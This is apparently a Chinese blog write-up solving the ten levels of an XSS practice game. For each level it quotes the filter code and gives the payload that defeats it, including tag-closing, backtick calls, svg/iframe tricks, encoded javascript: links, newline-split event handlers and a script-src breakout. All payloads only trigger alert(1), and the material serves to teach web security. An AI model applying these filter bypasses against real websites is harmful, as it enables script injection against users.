xss game
第0x00关
没有难度,直接输入<script>alert(1)</script>即可过关
第0x01关
要求在文本框中输入js代码,文本框采用<textarea>元素。
方法:只需要闭合文本框就可以——</textarea><script>alert(1)</script>。
第0x02关
使用input元素
代码:<input type="name" value="">
方法有几种,其中一种仍然是闭合标签——payload:"><script>alert(1)</script><"。
第0x03关
服务器端代码:
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input }
代码过滤了'()',可以使用“`”绕过,具体payload:<script>alert`1`</script>
第0x04关
服务端过滤了()和“`”
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input }
需要用到svg元素绕过:<svg><script>alert(1)</script></svg>
iframe标签也可以:<iframe srcdoc="<script>alert(1)</script>">
使用href属性:<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
第0x05关
这一关使用注释符将输入的代码全部注释了,只需要将注释符闭合即可
源代码:
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' }
过关:--!>'<script>alert(1)</script>
第0x06关
这里借鉴了别人的思路,服务器代码:input = input.replace(/auto|on.*=|>/ig, '_'),
return `<input value=1 ${input} type="text">`
过滤了auto,将“on开头到=的关键字过滤了”,以及过滤了>
这里借鉴了别人的代码,直接在onmouseover后换行:
onmouseover
=alert(1)
第0x07关
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` }
将<>中间的全部过滤了,借鉴别人的思路,使用容错机制,且可以使用//注释掉后面的内容也是可以的
<svg onload='alert(1)'
<img src=x onerror='alert(1)'
<iframe src=javascript:alert`1`//
具体可看:https://www.cnblogs.com/BOHB-yunying/p/12656916.html
第0x08关
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` }
将</style>过滤了,但是仍然可以像第6关一样,使用换行和空格绕过
payload:
</style > <script>alert(1)</script> <style>
很奇怪的是使用空格时下列的代码也是有效地,有可能是按照规则的严格过滤吧
</style //> <script>alert(1)</script>
第0x09关
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' }
这里使用正则匹配是否按照http(s):规则输入,可以直接闭合<script>标签。
https://www.segmentfault.com"></script>
<script>alert(1)//<"

浙公网安备 33010602011771号